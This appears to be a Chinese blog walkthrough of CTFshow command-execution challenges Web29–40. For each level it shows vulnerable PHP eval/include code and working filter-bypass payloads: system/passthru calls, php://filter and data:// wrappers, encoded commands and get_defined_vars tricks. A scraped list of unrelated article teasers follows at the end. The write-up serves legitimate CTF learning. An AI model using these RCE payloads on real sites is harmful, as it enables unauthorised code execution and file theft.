CTFshow-命令执行(Web29-40)
CTFshow-命令执行(Web29-40)
CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客
总结rce(远程代码执行各种sao姿势)绕过bypass_远程命令执行绕过-CSDN博客
对比两者的源代码,我们发现,cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后:就不是php语句了,在html语句里就就会直接显示出来。
Web29
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
执行恶意代码,做了过滤,preg_match当$c里有flag(不区分大小写/i) ,就返回1,不执行eval
?c=system(‘ls’);
flag.php index.php
?c=system(‘cat’);
-
直接执行系统命令
?c=system(“tac%20fla*”);
?c=system(“tac fla*”);利用tac与system结合,拿到flag
因为可以利用system来间接执行系统命令,如果flag不在当前目录,也可以利用?c=system(“ls”); 来查看到底在哪里。
-
内敛执行:
?c=echo%20
tac%20fla*; -
fliter读
https://ea17f469-c347-4866-aaad-05898730fd29.challenge.ctf.show/?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php -
/?c=system(“cat%20fl*g.php”);右键源码
-
?c=system(“cp fl*g.php a.txt”);
-
?c=eval($_GET[1]);&1=system(“tac%20flag.php”);
-
?c=system(base64_decode(‘Y2F0IGZsYWcucGhw’));
Web30
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
-
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[1];&1=php://filter/read=convert.base64-encode/resource=flag.php
-
?c=echo%20
tac%20fla*; ?c=echo%20cat%20fla*; -
?c=echo(
tac%20f*); -
?c=eval($_GET[1]);&1=system(“tac%20flag.php”);
-
?c=passthru(“tac%20fla*”); passthru跟exec,system差不多
-
https://e023300e-4277-465d-ab93-9747a4876361.challenge.ctf.show/?c=echo shell_exec("tac fla*"); -
?c=system(base64_decode(‘Y2F0IGZsYWcucGhw’));
ctfshow{8a58547f-7211-453b-9eba-9b9c4e85987b}
Web31
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
- ?c=eval($_GET[a]);&a=system(“cat flag.php”);
- ?c=passthru(“tac%09f*”);
- ?c=passthru(base64_decode(“Y2F0IGZsYWcucGhw”));
Web32
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
- ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
其实两者的差距只在于一个%0a,改不改无所谓,下面解释各成分作用
- 首先是include+参数1,作用是包含参数1的文件,运用了文件包含漏洞,最后的文件名字可以改为/etc/passwd和nginx的日志文件来定位flag位置
- 然后是%0a作用,这是url回车符,因为空格被过滤。事实上,删去也无所谓,似乎php会自动给字符串和变量间添加空格(经检验,只在eval中有效,echo中无效,还是得要空格)
- 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
- 在c中引用了参数1,然后&后对参数1定义,运用文件包含漏洞
- ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
Web33
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
- ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
- ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
- ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Web34
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
- ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
- ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
- ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Web35
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
- ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
- ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
- ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Web36
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
- ?c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>
- ?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
- ?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
Web37
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c);echo $flag;}
}else{highlight_file(__FILE__);
}
- ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==
- ?c=data://text/plain,<?php system("tac fla*.php")?>
include() 将 data:// 解释为PHP代码,会直接执行
?c=php://filter/read=convert.base64-encode/resource=flag.php不行,因为过滤了flag
在 PHP 中,include() 不仅能加载文件,还可以加载数据流(stream)。PHP 支持多种流包装器(Stream Wrapper),如:
data://- 直接包含原始数据php://- PHP的输入/输出流file://- 读取文件(通常默认使用这个)http://- 远程 HTTP 资源
- 这种方法也行,不够hackbar不支持直接在post data中不以键值对形式传送,所以得用burp抓包手动加

Web38
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}
把php,file也过来过滤了
直接?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==
Web39
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}
}else{highlight_file(__FILE__);
}
?c=data://text/plain,<?php system("tac fla*.php")?>
Web40
<?php
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
全过滤了,这里括号过滤的是中文括号
-
构造文件读取
localeconv():返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。current()与其相似。
scandir():获取目录下的文件。
array_reverse():数组逆序。
next():函数将内部指针指向数组中的下一个元素,并输出。
print_r():函数用于打印变量,作用对象是变量。
show_source():对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮,作用对象是文件。
highlight_file():跟show_source()类似。
- print_r(pos(localeconv()));
- print_r(scandir(pos(localeconv())));
- print_r((array_reverse(scandir(current(localeconv())))));
- show_source(next(array_reverse(scandir(current(localeconv())))));
- highlight_file(next(array_reverse(scandir(current(localeconv())))));
- echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
-
构造数组+rce
get_defined_vars() :函数返回由所有已定义变量所组成的数组,包括URL屁股后面接的pay
array_pop() 函数删除数组中的最后一个元素。
reset用于将指向返回变量数组的指针指向第一个变量即c
next向前移动一位指针即pay,eval执行返回的值就是咱们定义的恶意代码
- print_r(get_defined_vars());
- ?c=eval(next(reset(get_defined_vars())));&pay=system(“tac flag.php”);
这里源码只定义了一个变量即c,加上引入的pay就两个变量值了


函数删除数组中的最后一个元素。
reset用于将指向返回变量数组的指针指向第一个变量即c
next向前移动一位指针即pay,eval执行返回的值就是咱们定义的恶意代码
- print_r(get_defined_vars());
- ?c=eval(next(reset(get_defined_vars())));&pay=system(“tac flag.php”);
这里源码只定义了一个变量即c,加上引入的pay就两个变量值了
[外链图片转存中…(img-CvyDaotT-1733923316562)]
[外链图片转存中…(img-biZkr7bS-1733923316562)]
相关文章:
CTFshow-命令执行(Web29-40)
CTFshow-命令执行(Web29-40) CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客 总结rce(远程代码执行各种sao姿势)绕过bypass_远程命令执行绕过-CSDN博客 对比两者的源代码,我们发现,cat指令把flag.php的内容导出后依…...
MySQL锁的类型有哪些
目录 共享锁(share lock): 排他锁(exclusivelock): 表锁(table lock): 行锁: 记录锁(Record lock): 页锁: 间隙锁: 基于锁的属性分类:共享锁,排他锁。 基于锁的粒…...
基于 JNI + Rust 实现一种高性能 Excel 导出方案(下篇)
衡量一个人是否幸福,不应看他有多少高兴的事,而应看他是否为小事烦扰。只有幸福的人,才会把无关痛痒的小事挂心上。那些真正经历巨大灾难和深重痛苦的人,根本无暇顾及这些小事的。因此人们往往在失去幸福之后,才会发现…...
关于Python程序消费Kafka消息不稳定问题的处理方法
在使用Python程序消费Kafka消息的过程中,有时会遇到各种不稳定的情况,如自动提交偏移量无效、CommitFailedError错误等。这些问题不仅影响了数据处理的可靠性,还可能导致重复消费或丢失消息。本文将针对这两个常见问题提供详细的解决方案和最…...
【OpenCV】Canny边缘检测
理论 Canny 边缘检测是一种流行的边缘检测算法。它是由 John F. Canny 在 1986 年提出。 这是一个多阶段算法,我们将介绍算法的每一个步骤。 降噪 由于边缘检测易受图像中的噪声影响,因此第一步是使用 5x5 高斯滤波器去除图像中的噪声。我们在前面的章…...
算法-二进制和位运算
一.二进制 (1).无符号数: 无符号数是一种数据表示方式,它只表示非负整数,即没有符号位,所有的位都用来表示数值大小。在 C 等编程语言中,常见的无符号类型有 unsigned int、unsigned char 等。…...
OpenAI Chatgpt 大语言模型
OpenAI 一个美国人工智能研究实验室,由非营利组织 OpenAI Inc,和其营利组织子公司 OpenAI LP 所组成。该组织于 2015 年由萨姆阿尔特曼、里德霍夫曼、杰西卡利文斯顿、伊隆马斯克、伊尔亚苏茨克维、沃伊切赫萨伦巴、彼得泰尔等人在旧金山成立࿰…...
SpringBoot【九】mybatis-plus之自定义sql零基础教学!
一、前言🔥 环境说明:Windows10 Idea2021.3.2 Jdk1.8 SpringBoot 2.3.1.RELEASE mybatis-plus的基本使用,前两期基本讲的差不多,够日常使用,但是有的小伙伴可能就会抱怨了,若是遇到业务逻辑比较复杂的sq…...
C#,人工智能,深度学习,目标检测,OpenCV级联分类器数据集的制作与《层级分类器一键生成器》源代码
一、目标识别技术概述 1、摘要 目标检测是计算机视觉中最基本和最具挑战性的问题之一,它试图从自然图像中的大量预定义类别中定位目标实例。深度学习技术已成为直接从数据中学习特征表示的强大策略,并在通用目标检测领域取得了显著突破。鉴于这一快速发…...
调度系统:Luigi 的主要特性和功能
Luigi 是一个开源的 Python 工作流管理工具,用于构建批处理作业管道,特别适用于数据工程领域。它被设计用来编排任务和处理任务间的依赖关系,支持自动化复杂的 ETL 流程、数据分析、模型训练等任务。 Luigi 的主要特性和功能: 任…...
C# 探险之旅:第二节 - 定义变量与变量赋值
欢迎再次踏上我们的C#学习之旅。今天,我们要聊一个超级重要又好玩的话题——定义变量与变量赋值。想象一下,你正站在一个魔法森林里,手里拿着一本空白的魔法书(其实就是你的代码编辑器),准备记录下各种神奇…...
AUTOSAR:SOME/IP 概念
文章目录 1. 用例与需求1.1 典型用例1.2 对中间件的要求 2. 协议栈示例3. SOME/IP 概念3.1 中间件整体功能与架构3.2 服务组成元素详细解释 4. 服务发现机制深入剖析5. 总结 1. 用例与需求 1.1 典型用例 信息娱乐系统: 后座娱乐系统连接:允许后排乘客连…...
循序渐进kubenetes Service(Cluster ip、Nodeport、Loadbalancer)
文章目录 部署一个web服务Kubernetes Port ForwardKubernetes ServicesClusterIP ServiceNodePort ServiceLoadBalancer Service 部署一个web服务 准备 Kubernetes 集群后,创建一个名为 web 的新 namespace,然后在该 namespace 中部署一个简单的 web 应…...
深入理解 Apache Shiro:安全框架全解析
亲爱的小伙伴们😘,在求知的漫漫旅途中,若你对深度学习的奥秘、JAVA 、PYTHON与SAP 的奇妙世界,亦或是读研论文的撰写攻略有所探寻🧐,那不妨给我一个小小的关注吧🥰。我会精心筹备,在…...
mac 安装CosyVoice (cpu版本)
CosyVoice 介绍 CosyVoice 是阿里研发的一个tts大模型 官方项目地址:https://github.com/FunAudioLLM/CosyVoice.git 下载项目(非官方) git clone --recursive https://github.com/v3ucn/CosyVoice_for_MacOs.git 进入项目 cd CosyVoic…...
币安移除铭文市场的深度解读:背后原因及其对区块链行业的影响
引言: 就在昨天,2024年12月10号,币安宣布将移除铭文市场(Inscriptions Market)。这一消息引发了全球加密货币社区的广泛关注,尤其是在比特币NFT和数字收藏品市场快速发展的背景下。铭文市场自诞生以来迅速…...
深度学习实战野生动物识别
本文采用YOLOv11作为核心算法框架,结合PyQt5构建用户界面,使用Python3进行开发。YOLOv11以其高效的实时检测能力,在多个目标检测任务中展现出卓越性能。本研究针对野生动物数据集进行训练和优化,该数据集包含丰富的野生动物图像样…...
windows安装使用conda
在Windows系统上安装和使用Conda的详细步骤如下: 一、下载Conda安装包 访问Conda的官方网站Anaconda | The Operating System for AI,点击“Downloads”按钮。在下载页面,选择适合您系统的安装包。通常,对于Windows系统…...
手机租赁系统开发全流程解析与实用指南
内容概要 在如今快速发展的科技时代,手机租赁系统已经成为一种新兴的商业模式,非常符合当下市场需求。那么,在开发这样一个系统的时候,首先要从需求分析和市场调研开始。在这一阶段,你需要了解用户需要什么࿰…...
SpringBoot 开发—— YAML文件深度分析
文章目录 一、YAML概述二、数据表示三、YAML 的语法四、YAML 的应用五、YAML 与其他格式的比较1、YAML vs .properties文件可读性和结构数据类型支持扩展性和灵活性使用场景性能和支持2、YAML vs. JSON3、YAML vs. XML六、使用 YAML 的注意事项七、总结YAML 是非常流行的一种配…...
EasyDarwin流媒体服务器初体验:除了RTMP推流,它的管理后台还能怎么玩?
EasyDarwin流媒体服务器深度探索:从RTMP推流到全功能实战 第一次接触EasyDarwin时,大多数人可能只是把它当作一个简单的RTMP推流工具——上传视频、获取流地址、完成播放,流程看似简单直接。但当我真正深入使用这个开源流媒体服务器后&#x…...
未发表】“VMD-BKA-CNN-BiLSTM四模型多变量时序预测一键对比Matlab代码
【未发表】VMD-BKA-CNN-BiLSTM四模型多变量时序预测一键对比 Matlab代码 可用于风电预测,光伏预测等 基于变分模态分解结合黑翅鸳算法优化卷积神经网络结合双向长短期记忆神经网络的数据多变量时序预测一键对比 各种对比图都有 包含VMD-BKA-CNN-BiLSTM,VMD-CNN…...
避坑指南:Java下载MinIO目录时,路径处理、空文件夹和权限的那些坑
Java与MinIO目录下载实战:从路径陷阱到权限优化的深度解析 1. 当MinIO目录下载遇上真实开发场景 在云存储时代,MinIO作为高性能的对象存储解决方案,已经成为Java开发者处理文件存储的热门选择。但当我们从简单的单文件操作转向复杂的目录下载…...
OpenClaw 的模型预训练中,是否使用了对比学习与自回归的混合目标?
关于OpenClaw模型预训练中是否使用了对比学习与自回归的混合目标,这个问题其实触及了当前大语言模型训练方法中一个比较核心的演进方向。从公开的技术报告和论文细节来看,OpenClaw的设计思路确实体现了将不同训练目标融合的趋势,但具体到“对…...
Windows 11性能优化指南:让系统重获新生的实用工具
Windows 11性能优化指南:让系统重获新生的实用工具 【免费下载链接】Win11Debloat 一个简单的PowerShell脚本,用于从Windows中移除预装的无用软件,禁用遥测,从Windows搜索中移除Bing,以及执行各种其他更改以简化和改善…...
SAR ADC 比较器Latch的时序优化与噪声抑制设计
1. SAR ADC比较器Latch基础原理 SAR ADC(逐次逼近型模数转换器)中的比较器Latch电路,本质上是一个高速正反馈放大器。它由两个交叉耦合的反相器构成,就像两个背靠背站立的短跑运动员,只要一方稍有领先,就会…...
炸锅!中科院分区永久停更,新锐分区接棒,科研圈要变天?
最近科研圈最大的瓜,莫过于中科院期刊分区的“换马甲”事件——运行22年的官方中科院分区正式谢幕,原团队转身推出“新锐期刊分区”,一石激起千层浪,不同立场的声音吵翻了论坛。今天就来梳理下整个事件的来龙去脉,拆解…...
如何快速上手BepInEx:3个高效秘诀解锁Unity游戏插件开发
如何快速上手BepInEx:3个高效秘诀解锁Unity游戏插件开发 【免费下载链接】BepInEx Unity / XNA game patcher and plugin framework 项目地址: https://gitcode.com/GitHub_Trending/be/BepInEx 想象一下,你心爱的Unity游戏缺少某个功能ÿ…...
别再复制粘贴官方文档了!用Python调用通义千问API的3个实战项目(含完整代码)
用Python玩转通义千问API:3个实战项目带你进阶 在掌握了基础API调用后,很多开发者会陷入"文档复制粘贴"的困境——知道怎么调用接口,却不知道如何将其融入实际项目。本文将带你突破这一瓶颈,通过三个完整的实战项目&…...
Skills 如何高效地扩展 Claude 的能力
在模块化配置体系中,rules(规则)决定了 Claude 的下限(不能搞砸什么),而 skills(技能)则决定了 Claude 的上限(能多快、多准地完成复杂任务)。高效扩展 Claud…...
